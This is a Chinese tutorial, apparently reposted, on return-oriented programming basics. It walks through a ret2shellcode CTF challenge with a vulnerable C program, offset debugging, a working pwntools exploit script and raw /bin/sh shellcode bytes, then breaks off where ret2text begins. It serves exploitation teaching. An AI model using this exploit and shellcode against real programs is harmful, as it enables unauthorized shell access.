前言
在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。
什么是ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。
为什么要ROP
探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是一种
基本ROP
ret2shellcode
我们先看这个,顾名思义,ret to shellcode,就是将返地址覆盖到我们插入shellcode的首地址。
从原理中解析ret2shellcode
先通过一个小程序回顾一下栈溢出利用过程:
#include <stdio.h>
#include <stdlib.h>
char buf[10];
int main(int arg, char **args)
{
char s[10];
puts("start !!!");
gets(s);
strncpy(buf, s, 10);
printf(buf);
printf("\nend !!!");
return 0;
}
可以知道s所在位置为esp+0x16,esp=0x0061FE80,那么s所在位置为61FF96,也就是ebp-0x12,因此填充18个字符即可满足溢出的临界条件
利用IDA找到buf的地址0x004053E0,在BSS段。这里普及一下是BSS段:BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。既然可读写那么只要能够在栈内写入的payload,然后再转移到此处,并且执行权限就可以控制。通过strncpy函数达到这一目的
从例子中解析ret2shellcode
来看一个例子:ret2shellcode (https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode)
发现利用点
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
在IDA中能够发现两点:一、存在栈溢出 二、能利用写入/bin/sh进行getshell
确定利用前提
此时只需要确定是否开启NX和bss段是否可以执行 首先检查保护机制
然后在IDA中确定buf2的BSS段位置
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
查看该BSS段是否具有执行权限
一切完成后,可以发现这个文件可以进行ret2shellcode
调试
在get处设置断点,来确定s变量与ebp的距离,可以看到 s 的地址为 0xffffbe3c,计算一下得出 s 相对于 ebp 的偏移为 0x6c。
这里为什么要在get处设置断点?
因为知道s的地址才能计算出相对于ebp的偏移,此处esp刚好存储s的的地址
0x804858c <main+95>: lea eax,[esp+0x1c]
0x8048590 <main+99>: mov DWORD PTR [esp],eax
当然您可以选择其它位置,只不过这里更便捷。
可以知道溢出的临界点与触发地址还有一个4个字节的间隔 所以payload的结构是含有shellcode的6c个字节+4个字节+buf2地址
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) //含有shellcode的6c个字节+4个字节+buf2地址
sh.interactive()
扩展点
>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
>>> asm(shellcraft.sh()).ljust(112, 'A')
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
所以我们也可以直接构造,pwntools提供了shellcraft模块更方便。
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
这里的shellcraft.sh()则是执行/bin/sh的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
shellcode.ljust(112, 'A') + p32(buf2_addr)
ret2text
含义
顾名思义,ret to text,也就是说我们的利用点在原文件中寻找即可,控制程序执行程序本身已有的的代码 (.text)。文章来源:https://www.toymoban.com/news/detail-735217.html
从例子中解析ret2text
来看一个例子:ret2text**(https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text</文章来源地址https://www.toymoban.com/news/detail-735217.html
到了这里,关于ROP的基本原理和实战教学,看这一篇就够了的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!